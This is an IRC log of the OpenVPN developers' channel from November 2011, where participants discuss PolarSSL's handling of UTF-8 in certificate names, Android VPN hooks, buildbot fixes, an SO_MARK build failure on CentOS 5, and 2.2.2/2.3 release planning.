is now known as dazo_afk --- Day changed Tue Nov 15 2011 00:30 -!- dazo_afk is now known as dazo 02:10 -!- novaflash_away is now known as novaflash 02:30 -!- novaflash is now known as novaflash_away 04:54 -!- d457k [~heiko@exit0.net] has joined #openvpn-devel 04:54 -!- mode/#openvpn-devel [+o d457k] by ChanServ 04:57 <@d457k> andj: how does polarssl format the x509 DNs in general and especially when they contain utf8/non-ascii characters? 05:01 <@d457k> i'm changing openssl output to be rfc2253 compliant, i.e. C=ru, L=Москва, O=Микоян и Гуревич, CN=Микоян и Гуревич VPN CA, emailAddress=hhund@astaro.invalid 05:02 <@d457k> and i want polarssl to be compatible because of the tls-verify script and tls-remote options 08:28 <@andj> d457k: don't know, let me check 08:28 <@andj> Btw, anyone had a look at the android 4.0 source? 08:29 <@andj> Supposedly there's hooks for VPN support in there 08:30 <@andj> From Java, you can create a child of the VpnService object, which, returns a file decriptor that can be read from and written to 08:30 <@andj> Looking at the underlying code, it uses a tun device 08:31 <@andj> Now what I'm wondering is: if you set up such a device using the Java API, might it be possible to use it from C? :) 08:31 <@andj> Thereby enabling a "native", non-rooted OpenVPN on Android 08:32 <@dazo> I've has not looked at Android code ever ... but that does indeed sounds very interesting! 08:32 <@dazo> The only reason OpenVPN needs root access nowadays, is to configure tun/tap and to add/remove routes 08:33 <@andj> There's a lot of what ifs in there, but it looks like the Android Java API at least can do that for you 08:33 <@dazo> so if there's an API doing that in 4.0, OpenVPN could be extended to provide an API for an Android app 08:34 <@dazo> so the Android app would get IPs and routes from OpenVPN 08:34 <@andj> http://developer.android.com/reference/android/net/VpnService.html 08:34 <@vpnHelper> Title: VpnService | Android Developers (at developer.android.com) 08:34 * dazo looks 08:34 <@andj> The source got released today, so I've been delving a little deeper 08:35 <@andj> and it looks like it's a tun device 08:35 <@dazo> :) 08:40 <@andj> d457k: the code is here: http://polarssl.org/trac/browser/trunk/library/x509parse.c#L2329 08:40 <@vpnHelper> Title: x509parse.c in trunk/library – PolarSSL Trac page (at polarssl.org) 08:40 <@andj> The short answer is no :( 08:40 <@andj> so the formatting is correct I think, but the non-ascii stuff looks invalid 08:47 <@andj> ah, lol found the jni line: int tun = open("/dev/tun", O_RDWR | O_NONBLOCK); 08:48 <@d457k> andj: having a look 09:14 <@d457k> andj: yeah its broken with regards to utf-8 09:15 <@d457k> seem to be designed around latin-1 where "special" characters start at 160 09:15 <@andj> yup 09:16 <@d457k> do you care about this much? 09:17 <@andj> for the things we use it for it's not that important, but I think it would be good for PolarSSL to support more character types 09:17 <@d457k> are the devs on irc? 09:17 <@andj> Nope, it's one primary dev, and a few regular contributors 09:18 <@andj> as far as I know 09:28 <@d457k> shouldnt be too hard to detect utf8 and don't escape that, question is if it's wanted or not 09:30 <@d457k> maybe put it into x509parse_utf8_dn_gets() to be backwards compatible 09:33 <@d457k> name->val.tag == ASN1_UTF8_STRING should do the trick 09:35 -!- dazo is now known as dazo_afk 09:45 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 09:48 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:48 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:51 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Client Quit] 09:52 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:52 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:53 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Client Quit] 09:55 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:55 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:56 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Client Quit] 09:57 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:57 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:59 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Client Quit] 10:00 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:00 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:00 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Client Quit] 10:01 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:01 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:02 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Client Quit] 10:02 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:03 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:03 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Client Quit] 10:04 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:04 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:04 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Client Quit] 10:05 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:05 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:05 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Client Quit] 10:07 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:07 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:33 -!- novaflash_away is now known as novaflash 16:41 -!- novaflash is now known as novaflash_away --- Day changed Wed Nov 16 2011 00:27 -!- dazo_afk is now known as dazo 01:56 -!- novaflash_away is now known as novaflash 02:11 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:11 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:29 <@mattock> I think I'll setup buildbot on the build computer 05:30 <@mattock> many of the recent issues have been related to Python/MinGW builds 05:32 <@dazo> sounds like a good plan 05:36 <@mattock> besides the import library thingy, is there something holding back the first 2.3 alpha? 05:36 <@mattock> something blocking it 05:40 <@mattock> apparently buildbot has to be at least 0.8.2, and we're still running 0.7.12 06:21 -!- Netsplit *.net <-> *.split quits: @dazo 06:24 -!- Netsplit over, joins: @dazo 06:40 -!- dazo is now known as dazo_afk 07:44 -!- Netsplit *.net <-> *.split quits: uuuppz, dguerri 07:48 -!- Netsplit over, joins: dguerri, uuuppz 08:33 -!- Netsplit *.net <-> *.split quits: uuuppz, dguerri 08:33 -!- Netsplit over, joins: dguerri 10:00 <@andj> mattock: not on the PolarSSL/OpenVPN-NL side 10:46 -!- dazo_afk is now known as dazo 13:21 -!- swg0101 [~swg0101@openvpn/user/swg0101] has joined #openvpn-devel 13:21 -!- swg0101 [~swg0101@openvpn/user/swg0101] has left #openvpn-devel [] 17:00 -!- novaflash is now known as novaflash_away 17:16 -!- dazo is now known as dazo_afk --- Day changed Thu Nov 17 2011 00:34 -!- dazo_afk is now known as dazo 02:06 -!- novaflash_away is now known as novaflash 07:52 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 248 seconds] 07:54 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:54 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 09:33 <@ecrist> anyone around today? 09:39 * dazo is lurking 10:39 <@mattock> kind of 11:29 <@andj> same here 13:12 <@ecrist> ping dazo 13:13 <@ecrist> there was a bug quickly discussed on the Sep 29th meeting around 'SO_MARK' 13:13 <@ecrist> apparently it prevents openvpn from building on Centos 5 13:14 <@ecrist> was briefly discussed by SviMik 13:14 -!- Irssi: #openvpn-devel: Total of 14 nicks [9 ops, 0 halfops, 0 voices, 5 normal] 13:14 <@ecrist> http://permalink.gmane.org/gmane.network.openvpn.devel/5016 13:14 <@vpnHelper> Title: Summary of the IRC meeting / sprint (29th Sep 2011) (at permalink.gmane.org) 13:15 <@ecrist> any idea what the fix is, or what was decided on that? 13:59 -!- dazo is now known as dazo_afk 14:34 -!- dazo_afk is now known as dazo 14:35 <@dazo> ecrist: I'll try to compile that on a CentOS5 box I got available 14:39 <@ecrist> ok, thanks 17:55 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:55 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:16 -!- dazo is now known as dazo_afk 22:12 -!- novaflash is now known as novaflash_away --- Day changed Fri Nov 18 2011 02:05 -!- novaflash_away is now known as novaflash 02:16 -!- novaflash is now known as novaflash_away 02:59 <@andj> Morning 03:00 <@andj> OpenVPN has been approved for dutch government use! 03:00 <@andj> :) 03:00 <@andj> Given certain precautions 03:00 <@andj> and up to a specific level of confidentiality 03:01 <@andj> (always read the fine print :) 03:03 <@andj> The official announcement is on Tuesday, but I thought I'd mention it here first :) 03:07 <@d12fk> cool, how come that relys on the use of polarssl? just curious 03:09 <@andj> Easier to evaluate 03:10 <@andj> PolarSSL is very modular, and you can easily disable all algorithms other than AES, SHA256 03:10 <@andj> and the code is pretty straightforward 03:11 <@andj> btw, I asked the PolarSSL maintainer about UTF-9 03:11 <@andj> 8 even :) 03:11 <@andj> and widechar support 03:11 <@andj> He's interested, but hadn't really delved into it. He's more into crypto than charsets 03:13 <@d12fk> naturally =) 03:13 <@andj> :) 03:14 <@d12fk> could you possibly lure him into this fine channel here? 03:14 <@andj> I'll see what I can do, but I'm sure he's open to e-mail conversations on the subject as well :) 03:15 <@d12fk> irc would be easier than sending email back and forth 03:21 <@andj> I've sent him an e-mail :) 04:07 -!- dazo_afk is now known as dazo 04:12 -!- novaflash_away is now known as novaflash 05:50 <@dazo> mattock: hey! Do you have a little time for a quick test? 05:50 <@dazo> (includes compiling) 05:50 <@mattock> yeah 05:51 <@dazo> thx! I'll prepare a quick patch now 05:51 <@dazo> mattock: http://www.fpaste.org/B5Fb/raw/ ... could you try to apply that one on top of master and do a build? 05:51 <@dazo> Just wondering if I break something 05:52 <@dazo> It's a fix for trac #66 05:52 <@mattock> ok 05:53 <@mattock> have andj's fixes (1-8) been committed to master? 05:53 <@mattock> otherwise the build might will fail 05:53 <@dazo> not yet ... I'll try to look at that in the weekend 05:53 <@dazo> ouch 05:53 <@dazo> good point! 05:53 <@mattock> is it ok if apply that on top of andj's fixes 05:53 <@mattock> and my one fix 05:53 <@dazo> yeah, I think that will work 05:53 <@mattock> just a sec 05:54 <@dazo> (worst case, you need to use patch -p1 ... if some offsets have changed) 05:57 <@mattock> it (patch -p0 < ...) gives a bunch of rejects 05:58 <@mattock> -p1 helped 05:58 <@dazo> :) 05:58 <@dazo> yeah, git patches needs -p1 :) 05:58 <@mattock> mkay, so it applies cleanly, shall I build it? 05:59 <@dazo> yes, please 05:59 <@dazo> you don't have to smoke-test it if you don't have time ... but if you have ...would be cool to see if the patch works too, though ... it changes the --win-sys behaviour to use system path by default 05:59 <@dazo> (and not a hard coded C:\WINDOWS path) 06:05 <@mattock> it builds alright 06:06 <@mattock> no warnings or errors 06:06 <@mattock> I can create an installer and try it out 06:08 <@dazo> wonderful, thx a lot! 06:09 <@mattock> it's here: http://build.openvpn.net/downloads/snapshots/openvpn-2.x-20111118-win-sys-install.exe 06:13 <@dazo> thx! I'll try it in wine now (don't have Windows available) ... just to see if it seems to work somehow 06:14 <@mattock> installed, what now? 06:14 <@mattock> oh, the man page :) 06:14 <@dazo> :) 06:14 <@mattock> rtfm, mattock! 06:14 <@dazo> just try to connect 06:15 <@mattock> ah 06:15 <@dazo> if it sets up routes and such without failing ... maybe try with --route-method exe 06:16 <@mattock> seems to work, I'll try --route-method exe 06:19 <@dazo> wonderful! 06:20 <@dazo> I 06:20 <@dazo> I'm not able to get so far that it will execute route.exe in Wine :( 06:20 <@dazo> (and debugging with --verb 7 or higher, makes wine kill openvpn 06:20 <@mattock> seems to work with route-method exe 06:21 <@mattock> it creates routes using route.exe and says ok after each 06:21 <@dazo> wonderful! Then I'll submit that patch to the ML 06:21 <@mattock> you could perhaps link to the installer, in case somebody wants to give it a shot 06:21 <@dazo> may I add a Tested-by: ? 06:21 <@mattock> yep 06:21 <@dazo> thx! 06:21 <@mattock> the installer won't work with WinXP due to the import library thingy 06:22 <@mattock> but Vista and later should work 06:22 <@dazo> goodie! 06:22 <@mattock> np 09:06 <@ecrist> dazo: did you get anywhere wit hthat big I asked about yesertday? 09:07 <@dazo> ecrist: haven't had time yet .... but it's on my todo-list 09:07 <@ecrist> user says, 'el6 is fine, but it fails on el5. :-|' 10:12 <@dazo> That's interesting 10:45 <@ecrist> ping krzee or krzie 12:35 -!- dazo is now known as dazo_afk 17:14 <+krzee> pong 17:15 <+krzee> ecrist, ^ 17:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 17:53 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sat Nov 19 2011 05:07 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 248 seconds] 05:08 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 05:08 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 15:11 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:11 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Sun Nov 20 2011 11:56 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 12:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:29 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 14:04 <@cron2> re 14:04 * cron2 is back! 14:05 <+krzie> sup cron! --- Day changed Mon Nov 21 2011 02:15 <@mattock> hi cron2! 02:28 -!- dazo_afk is now known as dazo 02:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 02:36 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:36 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:43 <@cron2> hi mattock 02:43 <@mattock> hi 02:45 <@cron2> we should have a meeting this week :-) 02:45 <@mattock> we definitely should 02:45 <@mattock> it's been a _long_ while since the last meeting 02:46 <@cron2> release planning for 2.3 "what is missing, what do we want to get in, what's the time plan" 02:46 <@mattock> also, 2.2.2 02:46 <@cron2> oh, yes, inded 02:46 <@cron2> important, this is :-) 02:46 <@mattock> I'll look at my own 2.2.2/2.3 tasklist on tue/wed/thu 02:46 <@cron2> then: "buildbot: what's missing, what do we want to add"? 02:48 <@mattock> missing: test server 02:49 <@cron2> (that was meant as a topic for the meeting, not for today :) ) 02:49 <@mattock> ah :) 02:52 <@mattock> also, we need to get James to sign the new TAP-driver 02:53 <@mattock> so we should hurry :P 02:54 <@cron2> yes. This is part of 2.2.2 release :-) 02:54 <@mattock> and also 2.3... the TAP-driver will be the same 02:54 <@cron2> yes. But I see 2.2.2 release as "happening next week or so" and 2.3 "early 2012" 02:55 <@mattock> we'll see what 2.3 stuff we still have left, I haven't looked at any of it lately 02:58 <@cron2> neither have I (and I have no time right now) -> thursday .-) 02:58 <@mattock> oki, have fun! 03:11 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has quit [Remote host closed the connection] 04:50 <@cron2> so. making my buildbot-setup reboot-proof now... 04:50 <@cron2> (company had to restart ESX server last week, I was on vacation, machines came back up just fine, but buildbot wasnt started at boot time) 05:03 <@cron2> meh 05:03 <@dazo> cron2: perfect! I'm about to push some stuff again :) 05:03 <@dazo> (all fixes from andj and samuli) 05:04 <@cron2> wait a moment, something is not right yet with the PATH settings 05:04 <@cron2> I get build failures "sed: not found" and such 05:04 <@dazo> ouch 05:04 <@dazo> you got me too late :/ 05:04 <@dazo> but there's a couple of patches in the queue which could need an ACK :-P 05:05 <@cron2> wtf 05:08 <@cron2> /usr/bin was missing in the PATH the script set... *roll eyes* 05:09 <@cron2> dazo: can you start a new build job from the web gui, to see if fbsd82 and nbsd51 are back to work now? 05:09 <@dazo> cron2: sure, I'll connect now and see 05:11 <@dazo> cron2: it looks like buildbot has a delay which was long enough for you to fix those issues 05:12 <@cron2> in that case, great .-) 05:13 <@dazo> well, it looked strange, so I forced a new build 05:14 <@dazo> hmm ... 05:14 <@cron2> I can see free and open build right now... (no netbsd window open) 05:14 * dazo is confused by the webUI ... 05:14 <@dazo> openbsd boxes "fails" 05:15 <@cron2> well possible 05:15 <@dazo> "Provide an AUTOCONF_VERSION environment variable, please" during autoreconf 05:15 <@cron2> ah, damn, that one 05:15 <@cron2> yeah, that's set in *my* environment, but not in "what the script gets upon boot" 05:15 <@dazo> ah, okay 05:16 <@cron2> *reboot* 05:16 <@cron2> (to see whether it will come up clean now) 05:21 <@cron2> openbsd back to work... 05:22 <@dazo> When this build is done, I'll try to kick off a new build ... it seems it didn't take my first re-kick (as one was already in progress) 05:22 <@cron2> ack 05:22 <@dazo> netbsd and freebsd looks green 05:23 <@cron2> cool 06:00 <@dazo> cron2: I've just sent 2 patches to the ML now ... one related to *BSD, and one clean-up ... could you please have a look at them when you get them? 06:04 <@cron2> I'm not sure about the cleanup one - yes, it's tempting to throw it out, but it might be more in the spirit of OpenVPN to make it into useful warnings instead 06:05 <@cron2> "repair, instead of kill for good" 06:07 <@cron2> ack, nack, sent to list 06:07 <@dazo> cron2: well, it has been completely disabled since the big route change james did this summer 06:08 <@cron2> dazo: don't get me started 06:08 <@dazo> (commit 7fb0e07ec3f7c5f6514523085dbe02ea6b8933e2 ... which made the SVN merge miserable) 06:08 <@dazo> I know 06:09 <@cron2> let's see what comments show up on the list, and put it on the next meeting agenda 06:09 <@dazo> yeah 06:09 <@dazo> (argh! git send-email put those patches into the same thread ... note to self: individual sending, not all at once) 06:53 <@cron2> dazo: regarding your hope that "the compiler won't call an empty function" - I'm not sure whether most compilers are so smart, but since this is not called in the packet paths but just in routing/interface setup, a few microseconds lost there won't do much harm 06:54 <@dazo> ACK ... I think gcc do have some kind of "detect empty function logic", and removes those jumps ... but you need to turn on optimalisation for that though .... it's not speed I'm mostly concerned about, it's more bytes in the embedded world 06:55 <@cron2> mmh, for gcc, I think there's an "inline small functions" optimization, which would nicely catch this 06:55 <@dazo> (even though, it's just bytes, not kilobytes which normally would be added ... but there is some potential overhead) 06:55 <@dazo> yeah 06:56 * cron2 understands dazo's point :-) (and I'm not saying that this code shouldn't be cleaned up either way, just that I'm not overly worried about these bits when we've bigger things to clean up yet) 06:56 <@cron2> like all this route-gateway block stuff on "all that is not linux/ifconfig" 06:57 <@dazo> yeah, agreed 06:58 <@dazo> I'm also not disagreeing with you :) ... I just like to clean up ... maybe a bit too much :) 07:00 * cron2 very much likes to clean up some of the bits in tun.c and route.c, and then socket.c :-) 07:01 <@dazo> cron2: btw ... have you had time to look at the IPv6 patch from Scott Zeid? (Add IPv6 gateway support) 07:01 <@cron2> ugh, damn, completely got lost 07:02 <@cron2> some 1500 mails still to go until I reach the "before vacation" swampedness 07:02 <@cron2> thanks for the reminder 07:02 <@dazo> :) 07:02 <@dazo> that's why I avoid holiday! :-P 07:02 <@cron2> it was needed 07:03 * dazo feels a need as well :) 07:06 * dazo considers to make quick wiki page over non-reviewed patches in the ML queue 07:07 <@cron2> +1 07:07 <@dazo> (quite some windows patches from d457k .... ) 07:16 <@mattock> dazo: good idea 07:17 <@dazo> mattock: how many km long is your todo-list? 07:17 <@dazo> (not related to this quick wiki page!) 07:18 <@mattock> dazo: I intend to find that out tomorrow or wednesday 07:18 <@dazo> okay :) 07:18 <@mattock> :P 07:21 <@mattock> I don't have too many _strictly_ 2.3 -related tasks, but tons of support tasks that would make sense 07:21 <@mattock> such as setting apt/yum repository setup, buildbot, etc 07:22 <@dazo> mattock: it would be great if we could consider to set up gerrit ... that could make the patch review/submission process a lot simpler and more efficient for us 07:23 <@mattock> how easy is it? does it take hours or weeks? :) 07:23 <@dazo> it will change the working model a bit ... but we get possibility to review patches directly in a browser, add comments unto code lines .... 07:24 <@dazo> I have no idea how much time it takes to set it up ... I'm just an end-user of it in an internal instance as RH, and it works pretty nice 07:24 <@mattock> I'll take a look to get an idea 07:24 <@dazo> thx! 07:24 <@mattock> I'd like to get buildbot + test server fully configured before 2.3 07:24 <@mattock> as a priority 07:25 <@dazo> yeah, agreed! 07:25 * cron2 ack 07:25 <@dazo> esp. if windows gets included into this as well 07:25 <@dazo> Linux/*BSD works pretty nicely now 07:25 <@mattock> ah yes, Windows buildslaves 07:26 <@mattock> that would mean a buildbot upgrade 07:26 <@dazo> ouch 07:26 <@cron2> MacOS X buildslave is also missing 07:26 <@dazo> who cares about OSX? !??!! 07:26 * dazo ducks 07:26 <@mattock> well, the buildslave we have is pretty old, so it needs to be upgraded sooner or later 07:26 <@dazo> yeah, I suspected that 07:26 * cron2 does - and the reason $corp picked openvpn is specifically because it works on OSX 07:26 <@dazo> :) 07:27 <@cron2> *I* do not use this, but $wife does 07:27 <@cron2> ... and $boss and $bossboss 07:39 -!- d303k [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 07:39 -!- mode/#openvpn-devel [+o d303k] by ChanServ 07:39 -!- d303k is now known as d12fk 07:51 <@mattock> cron2: use "*I* do not use this", with "this" referring to OS X you're running atm? :P 08:03 <@cron2> mattock: I'm on FreeBSD and Linux, so yes 08:03 <@cron2> my desktop at work is OS X, which is fine, but no OpenVPN here 08:07 * ecrist shoots dazo 08:07 * dazo dies 08:07 <@ecrist> muahahaha 08:08 -!- dazo is now known as X-| 08:08 <@ecrist> lol 08:08 -!- X-| is now known as dazo 08:12 <@dazo> ecrist: I do see some issues with SO_MARK on CentOS 5.7 ... 08:12 * dazo need to come up with a patch fixing that .... 08:15 <@ecrist> sweet 08:16 <@ecrist> my friend would be thrilled 08:17 <@vpnHelper> RSS Update - testtrac: Fix FreeBSD/OpenBSD/NetBSD compiler warnings in get_default_gateway() <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=93626f2cf71b4803aa1248a928bfc1ac8c9da18b> || Fixed a regression causing VS2008/Python build failure <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=354bc04286abe157f906309bb2ab463ac160c5a7> || Fixed a typo 08:17 <@cron2> dazo: just pushed? Let's see what buildbot has to say now :) 08:18 <@dazo> cron2: nope, that's old ... buildbot is all green :) 08:18 <@cron2> why is vpnhelper so slow? 08:18 * dazo points at ecrist 08:19 <@ecrist> sorry, my main home machine keeps crashing, trying to figure out why 08:19 <@ecrist> that main machine also happens to be my home DNS server 08:19 <@ecrist> so, vpnhelper was having resolving issues 08:20 <@ecrist> I'll configure it to use 8.8.8.8 as a secondary 08:20 <@ecrist> heh, that box only had one nameserver configured 08:20 <@ecrist> now it has two 08:32 -!- novaflash is now known as novaflash_away 08:33 -!- novaflash_away is now known as novaflash 08:53 -!- novaflash is now known as novaflash_away 09:06 -!- novaflash_away is now known as novaflash 09:10 <@dazo> ecrist: here's the needed patch ... http://www.fpaste.org/wLcr/ 09:11 <@dazo> I'll submit it to the ML soonish too, just need to look through it once again first 09:11 <@dazo> (tested on Fedora 14 and CentOS5.7) 09:11 <@dazo> (CentOS5.7 should be close enough to RHEL5.7) 09:24 <@dazo> d12fk, d457k: you around? 09:47 <@d12fk> dazo: yeah 09:48 <@dazo> can you please review this one? http://thread.gmane.org/gmane.network.openvpn.devel/5105 ... it kind of fixes some troubles you caused ;-) 09:48 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 10:00 <@d12fk> dazo: looks good on first sight 10:01 <@d12fk> but why are you using such an old kernel?! =) 10:01 <@dazo> d12fk: Red Hat Enterprise Linux 5 uses that 10:01 <@dazo> and we're supposed to support RHEL4 as well, which is 2.6.9 based ;-) 10:01 <@cron2> d12fk introduced a *Linux* patch? 10:02 * cron2 looks surprised 10:02 <@dazo> hehehe 10:02 <@cron2> what else has changed while I was sleeping? 10:02 <@cron2> dazo: I don't like that style 10:02 <@cron2> +#if defined(TARGET_LINUX) && defined(HAVE_SO_MARK) 10:02 <@cron2> why not have it #ifdef HAVE_SO_MARK? 10:03 <@cron2> who says we can't have that on pf(8) for BSD as well? 10:03 <@dazo> I wanted to be sure it was locked into TARGET_LINUX, as it's only a Linux feature 10:03 <@dazo> afaik 10:03 <@dazo> (it was TARGET_LINUX) 10:03 <@dazo> but sure, I can change it to only be HAVE_SO_MARK ... no hard feelings 10:03 <@cron2> right now, it might be, but if it's not even universally available on Linux, the double-ifdef is just "more to read" 10:04 <@dazo> fair enough 10:04 <@cron2> I'm sure the user API is different on BSD, but I wouldn't be surprised if something already exists to let apps talk to pf and mark packets :) 10:12 <@ecrist> yeah, there's a way to tag packets, I don't remember the function though 10:13 <@cron2> mmmh, colleague just asked me for openvpn+ipv6 for windows 10:13 * cron2 wants a bugfixed + signed tap driver :) 10:15 <@dazo> cron2: what happened with this ticket? https://community.openvpn.net/openvpn/ticket/126 10:15 <@vpnHelper> Title: #126 (Cannot access Syspro 6.0 Server with 2.2RC or 2.2.0) – OpenVPN Community (at community.openvpn.net) 10:16 <@dazo> did we verify this bug ourselves in the end? 10:17 <@dazo> and there is ticket #147 which would be nice to get squashed as well 10:17 <@ecrist> dazo: he said that patch seems to have worked for him 10:18 <@dazo> ecrist: cool! if he wants to expose his name and e-mail, I can add a Tested-by: tag in the commit msg 10:18 <@dazo> (even though it will most likely be tweaked a little bit first) 10:18 <@cron2> dazo: I think that this (#126) should be fixed with the tap driver fix 10:19 <@cron2> dazo: as there is indeed a minimum-size-problem for IPv4 in the 2.2 tap driver... 10:19 <@cron2> (due to a missing break that was missing before I even touched the code, but my change turned it into a problem) 10:19 <@dazo> commit c5b9d40f0f2917761f430d9d59c59ca66153103f ? 10:20 <@cron2> dazo: that's the tapdrv change? 10:20 <@dazo> yeah 10:20 <@dazo> (it's been cherry-picked for 2.2.2) 10:20 <@ecrist> dazo: as soon as he's fully tested, he'll provide name/email for the tag in the commit 10:21 <@dazo> ecrist: perfect! 10:21 <@cron2> dazo: the commit ID above is 2.2.2? In -master it's 10b99726a30bb7252cb01806f5f276be7873e84e 10:21 <@dazo> yeah, correct ... the one I pasted was release/2.2 10:21 <@cron2> but anyway, yes, that is the one - we should do a new signed tap driver plus snapshot, and get the reporter of #126 to test that 10:22 <@dazo> mattock: ^^^ 10:22 <@cron2> #147 is something else, that's just logging annyoance 10:22 <@dazo> yeah, agreed ... but I'd like to see that one fixed in 2.2.2 as well 10:23 <@cron2> dazo: I need to go home now ("wife and child need feeding"), but if you remind me on wednesday :) I'll look into that 10:23 <@dazo> cron2: will do! 10:24 <@cron2> tuesday is "full day at customer site", so no avail 10:24 * dazo makes a "harass cron2 on wed" note :) 10:26 <@dazo> mattock: also for a 2.2.2 release, we need to make sure we're shipping an up-to-date pkcs11-helper on Windows ... trac ticket #145 10:27 <@mattock> ok 10:30 <@ecrist> dazo: do you live in SLC? 10:30 <@dazo> SLC? 10:30 <@ecrist> salt lake city 10:30 <@dazo> nope 10:30 * dazo is in Europe 10:31 <@ecrist> the guy with the SO_MARK issue also works for redhat, i think. 10:31 <@dazo> no kidding!?? what's his name? 10:32 <@dazo> RH got some 50-60 offices all around the globe, 3000+ employees ... so don't exactly have a complete overview :) 10:32 <@ecrist> see PM 11:45 -!- dazo is now known as dazo_afk 13:02 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 248 seconds] 13:40 <@cron2> is someone here who understands SSL and crypto? 13:41 <@cron2> our corp ca.crt has expired, so we (self-)signed a new one. Now, is there any trick with cross-signing old and new to avoid having to change ca.crt on all clients? 13:42 <@ecrist> no 13:42 <@ecrist> if the ca.crt expired, you have to reissue the certificate to everyone 13:45 <@cron2> I was afraid you'd say that... 13:46 <@ecrist> it would be nice if openvpn could push such new things out... 13:46 <@cron2> It's a bit more covoluted, though, as the root CA is still valid, but our CA officer used an intermediate CA, and *that* one expires - but still, the keys are signed by the intermediate CA and if that's gone, it's gone... 13:49 <@cron2> next question :-) 13:50 <@cron2> is there a way to make "openssl x509 text" spit out *all* certificates in a .pem? As far as I can see, it only prints the first one 14:25 <@ecrist> hrm 14:26 <@ecrist> I think you have to parse it yourself. 14:26 <@ecrist> and run openssl x509 text for each one 14:27 <@cron2> yeah, that's what I just did, and it's somewhat cumbersome to do this by hand if there are 5 certs in the pem 14:29 <@ecrist> well, silly, I'd have done something scripted 14:30 <@cron2> if I need this more often, yes, perl is my friend, or awk, or whatever :-) - but for "I need to know this *now*" doing it by hand was just acceptable 14:32 <@mattock> cron2: what kind OSes are the clients (that lack up-to-date ca.crt) running? 14:54 <@cron2> all there is - linux, macos x, windows 14:54 <@cron2> why? 15:06 <@cron2> dazo: has your win-sys env patch been acked? 23:58 <@mattock> cron2: you easily update ca.crt on *NIX with tools like Fabric, if SSH is running on the clients 23:59 <@mattock> well, actually, if they have dynamic IPs it might be more challenging --- Day changed Tue Nov 22 2011 03:27 <@cron2> mattock: if I had infrastructure for central management of the clients, I could do lots of things :-) 03:27 <@mattock> yep 03:27 <@mattock> fabric is nice tool in that it does not require any infrastructure/complex setup, except SSH servers on the clients 03:28 <@mattock> but with Windows one is always hosed :P 03:37 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has left #openvpn-devel ["?RETURN WITHOUT GOSUB"] 03:38 -!- d457k is now known as d12fk 03:55 <@andj> quick reminder/question: I remember some mention of FOSDEM last year 03:55 <@andj> and it's getting a little closer: http://fosdem.org/2012/ 05:38 <@mattock> ah, fosdem, it'd be nice to visit belgium 05:48 